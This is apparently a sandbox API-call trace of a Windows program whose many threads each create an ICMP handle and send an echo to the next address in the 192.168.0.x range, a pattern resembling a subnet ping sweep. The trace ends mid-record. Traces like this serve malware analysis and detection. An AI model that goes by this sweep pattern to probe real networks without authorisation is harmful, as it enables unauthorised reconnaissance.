	[0252.954] IcmpSendEcho (IcmpHandle=0x343350, DestinationAddress=0x8f00a8c0, RequestData=0x13ecf820, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x13ecf840, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3043
	os_tid = 0x3574

	[0251.281] GetLastError () returned 0x57
	[0251.281] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x347730
	[0251.281] SetLastError (dwErrCode=0x57) 
	[0251.281] IcmpCreateFile () returned 0x3433a0
	[0252.955] IcmpSendEcho (IcmpHandle=0x3433a0, DestinationAddress=0x9000a8c0, RequestData=0x1403f7a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1403f7c0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3044
	os_tid = 0x3578

	[0251.282] GetLastError () returned 0x57
	[0251.282] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x34fe00
	[0251.284] SetLastError (dwErrCode=0x57) 
	[0251.284] IcmpCreateFile () returned 0x3433f0
	[0252.955] IcmpSendEcho (IcmpHandle=0x3433f0, DestinationAddress=0x9100a8c0, RequestData=0x141afac0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x141afae0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3045
	os_tid = 0x357c

	[0251.284] GetLastError () returned 0x57
	[0251.284] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3501d0
	[0251.285] SetLastError (dwErrCode=0x57) 
	[0251.285] IcmpCreateFile () returned 0x343440
	[0252.956] IcmpSendEcho (IcmpHandle=0x343440, DestinationAddress=0x9200a8c0, RequestData=0x13a8f860, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x13a8f880, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3046
	os_tid = 0x3580

	[0251.492] GetLastError () returned 0x57
	[0251.492] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3505a0
	[0251.492] SetLastError (dwErrCode=0x57) 
	[0251.492] IcmpCreateFile () returned 0x2cca50
	[0252.957] IcmpSendEcho (IcmpHandle=0x2cca50, DestinationAddress=0x9300a8c0, RequestData=0x13dbfda0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x13dbfdc0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3064
	os_tid = 0x35cc

	[0251.493] GetLastError () returned 0x57
	[0251.493] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x350970
	[0251.493] SetLastError (dwErrCode=0x57) 
	[0251.493] IcmpCreateFile () returned 0x343530
	[0252.958] IcmpSendEcho (IcmpHandle=0x343530, DestinationAddress=0x9400a8c0, RequestData=0x1430fd00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1430fd20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3065
	os_tid = 0x35d0

	[0251.494] GetLastError () returned 0x57
	[0251.494] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x350d40
	[0251.494] SetLastError (dwErrCode=0x57) 
	[0251.494] IcmpCreateFile () returned 0x343580
	[0252.959] IcmpSendEcho (IcmpHandle=0x343580, DestinationAddress=0x9500a8c0, RequestData=0x1314f8e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1314f900, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3066
	os_tid = 0x35d4

	[0251.494] GetLastError () returned 0x57
	[0251.494] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x351110
	[0251.495] SetLastError (dwErrCode=0x57) 
	[0251.495] IcmpCreateFile () returned 0x3435d0
	[0252.960] IcmpSendEcho (IcmpHandle=0x3435d0, DestinationAddress=0x9600a8c0, RequestData=0x1452f840, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1452f860, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3067
	os_tid = 0x35d8

	[0251.495] GetLastError () returned 0x57
	[0251.495] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3514e0
	[0251.495] SetLastError (dwErrCode=0x57) 
	[0251.495] IcmpCreateFile () returned 0x343620
	[0252.960] IcmpSendEcho (IcmpHandle=0x343620, DestinationAddress=0x9700a8c0, RequestData=0x1475f9c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1475f9e0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3068
	os_tid = 0x35dc

	[0251.496] GetLastError () returned 0x57
	[0251.496] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3518b0
	[0251.496] SetLastError (dwErrCode=0x57) 
	[0251.496] IcmpCreateFile () returned 0x343670
	[0252.961] IcmpSendEcho (IcmpHandle=0x343670, DestinationAddress=0x9800a8c0, RequestData=0x149cf7e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x149cf800, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3069
	os_tid = 0x35e0

	[0251.496] GetLastError () returned 0x57
	[0251.497] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x351c80
	[0251.497] SetLastError (dwErrCode=0x57) 
	[0251.497] IcmpCreateFile () returned 0x3436c0
	[0252.962] IcmpSendEcho (IcmpHandle=0x3436c0, DestinationAddress=0x9900a8c0, RequestData=0x14b1fd40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x14b1fd60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3070
	os_tid = 0x35e4

	[0251.497] GetLastError () returned 0x57
	[0251.497] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x352050
	[0251.497] SetLastError (dwErrCode=0x57) 
	[0251.497] IcmpCreateFile () returned 0x343710
	[0252.963] IcmpSendEcho (IcmpHandle=0x343710, DestinationAddress=0x9a00a8c0, RequestData=0x14c6f7a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x14c6f7c0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3071
	os_tid = 0x35e8

	[0251.498] GetLastError () returned 0x57
	[0251.498] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x352420
	[0251.498] SetLastError (dwErrCode=0x57) 
	[0251.498] IcmpCreateFile () returned 0x343760
	[0252.964] IcmpSendEcho (IcmpHandle=0x343760, DestinationAddress=0x9b00a8c0, RequestData=0x1463f7e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1463f800, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3072
	os_tid = 0x35ec

	[0251.499] GetLastError () returned 0x57
	[0251.499] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3527f0
	[0251.499] SetLastError (dwErrCode=0x57) 
	[0251.499] IcmpCreateFile () returned 0x3437b0
	[0252.965] IcmpSendEcho (IcmpHandle=0x3437b0, DestinationAddress=0x9c00a8c0, RequestData=0x1440fc00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1440fc20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3073
	os_tid = 0x35f0

	[0251.499] GetLastError () returned 0x57
	[0251.499] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x352bc0
	[0251.499] SetLastError (dwErrCode=0x57) 
	[0251.500] IcmpCreateFile () returned 0x343800
	[0252.966] IcmpSendEcho (IcmpHandle=0x343800, DestinationAddress=0x9d00a8c0, RequestData=0x14d6f960, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x14d6f980, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3074
	os_tid = 0x35f4

	[0251.500] GetLastError () returned 0x57
	[0251.500] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x352f90
	[0251.500] SetLastError (dwErrCode=0x57) 
	[0251.500] IcmpCreateFile () returned 0x343850
	[0252.966] IcmpSendEcho (IcmpHandle=0x343850, DestinationAddress=0x9e00a8c0, RequestData=0x14f2f9c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x14f2f9e0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3075
	os_tid = 0x35f8

	[0251.501] GetLastError () returned 0x57
	[0251.501] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x353360
	[0251.501] SetLastError (dwErrCode=0x57) 
	[0251.501] IcmpCreateFile () returned 0x3438a0
	[0252.969] IcmpSendEcho (IcmpHandle=0x3438a0, DestinationAddress=0x9f00a8c0, RequestData=0x1489f7e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1489f800, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3076
	os_tid = 0x35fc

	[0251.501] GetLastError () returned 0x57
	[0251.501] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x353730
	[0251.501] SetLastError (dwErrCode=0x57) 
	[0251.502] IcmpCreateFile () returned 0x3438f0
	[0252.970] IcmpSendEcho (IcmpHandle=0x3438f0, DestinationAddress=0xa000a8c0, RequestData=0x1510fbc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1510fbe0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3077
	os_tid = 0x3600

	[0251.502] GetLastError () returned 0x57
	[0251.502] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x355a50
	[0251.505] SetLastError (dwErrCode=0x57) 
	[0251.505] IcmpCreateFile () returned 0x343940
	[0252.973] IcmpSendEcho (IcmpHandle=0x343940, DestinationAddress=0xa100a8c0, RequestData=0x1528f720, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1528f740, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3078
	os_tid = 0x3604

	[0251.505] GetLastError () returned 0x57
	[0251.505] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x355e20
	[0251.506] SetLastError (dwErrCode=0x57) 
	[0251.506] IcmpCreateFile () returned 0x343990
	[0252.974] IcmpSendEcho (IcmpHandle=0x343990, DestinationAddress=0xa200a8c0, RequestData=0x154afd80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x154afda0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3079
	os_tid = 0x3608

	[0251.506] GetLastError () returned 0x57
	[0251.506] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3561f0
	[0251.506] SetLastError (dwErrCode=0x57) 
	[0251.506] IcmpCreateFile () returned 0x3439e0
	[0252.975] IcmpSendEcho (IcmpHandle=0x3439e0, DestinationAddress=0xa300a8c0, RequestData=0x156ffce0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x156ffd00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3080
	os_tid = 0x360c

	[0251.507] GetLastError () returned 0x57
	[0251.507] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3565c0
	[0251.507] SetLastError (dwErrCode=0x57) 
	[0251.507] IcmpCreateFile () returned 0x343a30
	[0252.976] IcmpSendEcho (IcmpHandle=0x343a30, DestinationAddress=0xa400a8c0, RequestData=0x158afb40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x158afb60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3081
	os_tid = 0x3610

	[0251.507] GetLastError () returned 0x57
	[0251.507] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x356990
	[0251.508] SetLastError (dwErrCode=0x57) 
	[0251.508] IcmpCreateFile () returned 0x343a80
	[0252.977] IcmpSendEcho (IcmpHandle=0x343a80, DestinationAddress=0xa500a8c0, RequestData=0x15a1fb00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x15a1fb20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3082
	os_tid = 0x3614

	[0251.508] GetLastError () returned 0x57
	[0251.508] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x356d60
	[0251.508] SetLastError (dwErrCode=0x57) 
	[0251.509] IcmpCreateFile () returned 0x343ad0
	[0252.977] IcmpSendEcho (IcmpHandle=0x343ad0, DestinationAddress=0xa600a8c0, RequestData=0x155bf8e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x155bf900, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3083
	os_tid = 0x3618

	[0251.509] GetLastError () returned 0x57
	[0251.509] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x357130
	[0251.509] SetLastError (dwErrCode=0x57) 
	[0251.509] IcmpCreateFile () returned 0x343b20
	[0252.978] IcmpSendEcho (IcmpHandle=0x343b20, DestinationAddress=0xa700a8c0, RequestData=0x15b6f940, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x15b6f960, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3084
	os_tid = 0x361c

	[0251.510] GetLastError () returned 0x57
	[0251.510] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x357500
	[0251.510] SetLastError (dwErrCode=0x57) 
	[0251.510] IcmpCreateFile () returned 0x343b70
	[0252.979] IcmpSendEcho (IcmpHandle=0x343b70, DestinationAddress=0xa800a8c0, RequestData=0x1538fbe0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1538fc00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3085
	os_tid = 0x3620

	[0251.510] GetLastError () returned 0x57
	[0251.510] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3578d0
	[0251.511] SetLastError (dwErrCode=0x57) 
	[0251.511] IcmpCreateFile () returned 0x343bc0
	[0252.980] IcmpSendEcho (IcmpHandle=0x343bc0, DestinationAddress=0xa900a8c0, RequestData=0x15cefd40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x15cefd60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3086
	os_tid = 0x3624

	[0251.511] GetLastError () returned 0x57
	[0251.511] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x357ca0
	[0251.511] SetLastError (dwErrCode=0x57) 
	[0251.511] IcmpCreateFile () returned 0x343c10
	[0252.982] IcmpSendEcho (IcmpHandle=0x343c10, DestinationAddress=0xaa00a8c0, RequestData=0x15faf7e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x15faf800, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3087
	os_tid = 0x3628

	[0251.512] GetLastError () returned 0x57
	[0251.512] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x358070
	[0251.512] SetLastError (dwErrCode=0x57) 
	[0251.512] IcmpCreateFile () returned 0x343c60
	[0252.983] IcmpSendEcho (IcmpHandle=0x343c60, DestinationAddress=0xab00a8c0, RequestData=0x15defba0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x15defbc0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3088
	os_tid = 0x362c

	[0251.512] GetLastError () returned 0x57
	[0251.512] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x358440
	[0251.513] SetLastError (dwErrCode=0x57) 
	[0251.513] IcmpCreateFile () returned 0x343cb0
	[0252.984] IcmpSendEcho (IcmpHandle=0x343cb0, DestinationAddress=0xac00a8c0, RequestData=0x161efe60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x161efe80, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3089
	os_tid = 0x3630

	[0251.514] GetLastError () returned 0x57
	[0251.514] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x358810
	[0251.514] SetLastError (dwErrCode=0x57) 
	[0251.514] IcmpCreateFile () returned 0x343d00
	[0252.985] IcmpSendEcho (IcmpHandle=0x343d00, DestinationAddress=0xad00a8c0, RequestData=0x163dfe80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x163dfea0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3090
	os_tid = 0x3634

	[0251.514] GetLastError () returned 0x57
	[0251.514] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x358be0
	[0251.515] SetLastError (dwErrCode=0x57) 
	[0251.515] IcmpCreateFile () returned 0x343d50
	[0252.985] IcmpSendEcho (IcmpHandle=0x343d50, DestinationAddress=0xae00a8c0, RequestData=0x160efee0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x160eff00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3091
	os_tid = 0x3638

	[0251.515] GetLastError () returned 0x57
	[0251.515] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x358fb0
	[0251.516] SetLastError (dwErrCode=0x57) 
	[0251.516] IcmpCreateFile () returned 0x361a50
	[0252.986] IcmpSendEcho (IcmpHandle=0x361a50, DestinationAddress=0xaf00a8c0, RequestData=0x165ffd20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x165ffd40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3092
	os_tid = 0x363c

	[0251.516] GetLastError () returned 0x57
	[0251.516] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x359380
	[0251.516] SetLastError (dwErrCode=0x57) 
	[0251.516] IcmpCreateFile () returned 0x361aa0
	[0252.987] IcmpSendEcho (IcmpHandle=0x361aa0, DestinationAddress=0xb000a8c0, RequestData=0x164dfc20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x164dfc40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3093
	os_tid = 0x3640

	[0251.517] GetLastError () returned 0x57
	[0251.517] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x362a50
	[0251.519] SetLastError (dwErrCode=0x57) 
	[0251.519] IcmpCreateFile () returned 0x361af0
	[0252.988] IcmpSendEcho (IcmpHandle=0x361af0, DestinationAddress=0xb100a8c0, RequestData=0x1689f760, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1689f780, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3094
	os_tid = 0x3644

	[0251.519] GetLastError () returned 0x57
	[0251.519] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x362e20
	[0251.520] SetLastError (dwErrCode=0x57) 
	[0251.520] IcmpCreateFile () returned 0x361b40
	[0252.989] IcmpSendEcho (IcmpHandle=0x361b40, DestinationAddress=0xb200a8c0, RequestData=0x166ff960, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x166ff980, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3095
	os_tid = 0x3648

	[0251.755] GetLastError () returned 0x57
	[0251.755] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3631f0
	[0251.756] SetLastError (dwErrCode=0x57) 
	[0251.756] IcmpCreateFile () returned 0x361b90
	[0252.990] IcmpSendEcho (IcmpHandle=0x361b90, DestinationAddress=0xb300a8c0, RequestData=0x16a7fda0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x16a7fdc0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3100
	os_tid = 0x3664

	[0251.756] GetLastError () returned 0x57
	[0251.756] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3635c0
	[0251.756] SetLastError (dwErrCode=0x57) 
	[0251.756] IcmpCreateFile () returned 0x361be0
	[0252.990] IcmpSendEcho (IcmpHandle=0x361be0, DestinationAddress=0xb400a8c0, RequestData=0x16cdf760, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x16cdf780, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3101
	os_tid = 0x3668

	[0251.757] GetLastError () returned 0x57
	[0251.757] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x363990
	[0251.757] SetLastError (dwErrCode=0x57) 
	[0251.757] IcmpCreateFile () returned 0x361c30
	[0252.991] IcmpSendEcho (IcmpHandle=0x361c30, DestinationAddress=0xb500a8c0, RequestData=0x16b7fdc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x16b7fde0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3102
	os_tid = 0x366c

	[0251.758] GetLastError () returned 0x57
	[0251.758] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x363d60
	[0251.758] SetLastError (dwErrCode=0x57) 
	[0251.758] IcmpCreateFile () returned 0x361c80
	[0252.992] IcmpSendEcho (IcmpHandle=0x361c80, DestinationAddress=0xb600a8c0, RequestData=0x16ddfa80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x16ddfaa0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3103
	os_tid = 0x3670

	[0251.759] GetLastError () returned 0x57
	[0251.759] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x364130
	[0251.759] SetLastError (dwErrCode=0x57) 
	[0251.759] IcmpCreateFile () returned 0x361cd0
	[0252.993] IcmpSendEcho (IcmpHandle=0x361cd0, DestinationAddress=0xb700a8c0, RequestData=0x16fbf8c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x16fbf8e0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3104
	os_tid = 0x3674

	[0251.759] GetLastError () returned 0x57
	[0251.760] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x364500
	[0251.760] SetLastError (dwErrCode=0x57) 
	[0251.760] IcmpCreateFile () returned 0x361d20
	[0252.994] IcmpSendEcho (IcmpHandle=0x361d20, DestinationAddress=0xb800a8c0, RequestData=0x171bfee0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x171bff00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3105
	os_tid = 0x3678

	[0251.760] GetLastError () returned 0x57
	[0251.760] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3648d0
	[0251.760] SetLastError (dwErrCode=0x57) 
	[0251.761] IcmpCreateFile () returned 0x361d70
	[0252.995] IcmpSendEcho (IcmpHandle=0x361d70, DestinationAddress=0xb900a8c0, RequestData=0x1736fa40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1736fa60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3106
	os_tid = 0x367c

	[0251.761] GetLastError () returned 0x57
	[0251.761] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x364ca0
	[0251.761] SetLastError (dwErrCode=0x57) 
	[0251.761] IcmpCreateFile () returned 0x361dc0
	[0252.996] IcmpSendEcho (IcmpHandle=0x361dc0, DestinationAddress=0xba00a8c0, RequestData=0x1749fb80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1749fba0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3107
	os_tid = 0x3680

	[0251.762] GetLastError () returned 0x57
	[0251.762] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x365070
	[0251.762] SetLastError (dwErrCode=0x57) 
	[0251.762] IcmpCreateFile () returned 0x361e10
	[0252.997] IcmpSendEcho (IcmpHandle=0x361e10, DestinationAddress=0xbb00a8c0, RequestData=0x1764fbc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1764fbe0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3108
	os_tid = 0x3684

	[0251.762] GetLastError () returned 0x57
	[0251.762] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x365440
	[0251.763] SetLastError (dwErrCode=0x57) 
	[0251.763] IcmpCreateFile () returned 0x361e60
	[0252.998] IcmpSendEcho (IcmpHandle=0x361e60, DestinationAddress=0xbc00a8c0, RequestData=0x178bf840, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x178bf860, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3109
	os_tid = 0x3688

	[0251.763] GetLastError () returned 0x57
	[0251.763] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x365810
	[0251.763] SetLastError (dwErrCode=0x57) 
	[0251.763] IcmpCreateFile () returned 0x361eb0
	[0252.999] IcmpSendEcho (IcmpHandle=0x361eb0, DestinationAddress=0xbd00a8c0, RequestData=0x17aef960, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x17aef980, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3110
	os_tid = 0x368c

	[0251.764] GetLastError () returned 0x57
	[0251.764] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x365be0
	[0251.764] SetLastError (dwErrCode=0x57) 
	[0251.764] IcmpCreateFile () returned 0x361f00
	[0252.999] IcmpSendEcho (IcmpHandle=0x361f00, DestinationAddress=0xbe00a8c0, RequestData=0x17bffa00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x17bffa20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3111
	os_tid = 0x3690

	[0251.764] GetLastError () returned 0x57
	[0251.764] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x365fb0
	[0251.765] SetLastError (dwErrCode=0x57) 
	[0251.765] IcmpCreateFile () returned 0x361f50
	[0253.000] IcmpSendEcho (IcmpHandle=0x361f50, DestinationAddress=0xbf00a8c0, RequestData=0x1777fd60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1777fd80, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3112
	os_tid = 0x3694

	[0251.765] GetLastError () returned 0x57
	[0251.765] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x366380
	[0251.765] SetLastError (dwErrCode=0x57) 
	[0251.765] IcmpCreateFile () returned 0x361fa0
	[0253.001] IcmpSendEcho (IcmpHandle=0x361fa0, DestinationAddress=0xc000a8c0, RequestData=0x17dcf780, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x17dcf7a0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3113
	os_tid = 0x3698

	[0251.766] GetLastError () returned 0x57
	[0251.766] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x366a50
	[0251.768] SetLastError (dwErrCode=0x57) 
	[0251.768] IcmpCreateFile () returned 0x361ff0
	[0253.002] IcmpSendEcho (IcmpHandle=0x361ff0, DestinationAddress=0xc100a8c0, RequestData=0x17f7fac0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x17f7fae0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3114
	os_tid = 0x369c

	[0251.769] GetLastError () returned 0x57
	[0251.769] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x366e20
	[0251.769] SetLastError (dwErrCode=0x57) 
	[0251.769] IcmpCreateFile () returned 0x362040
	[0253.003] IcmpSendEcho (IcmpHandle=0x362040, DestinationAddress=0xc200a8c0, RequestData=0x181efa20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x181efa40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3115
	os_tid = 0x36a0

	[0251.770] GetLastError () returned 0x57
	[0251.770] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3671f0
	[0251.770] SetLastError (dwErrCode=0x57) 
	[0251.770] IcmpCreateFile () returned 0x362090
	[0253.004] IcmpSendEcho (IcmpHandle=0x362090, DestinationAddress=0xc300a8c0, RequestData=0x1837fa60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1837fa80, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3116
	os_tid = 0x36a4

	[0251.770] GetLastError () returned 0x57
	[0251.770] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3675c0
	[0251.771] SetLastError (dwErrCode=0x57) 
	[0251.771] IcmpCreateFile () returned 0x3620e0
	[0253.005] IcmpSendEcho (IcmpHandle=0x3620e0, DestinationAddress=0xc400a8c0, RequestData=0x184cfa20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x184cfa40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3117
	os_tid = 0x36a8

	[0251.771] GetLastError () returned 0x57
	[0251.771] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x367990
	[0251.771] SetLastError (dwErrCode=0x57) 
	[0251.771] IcmpCreateFile () returned 0x362130
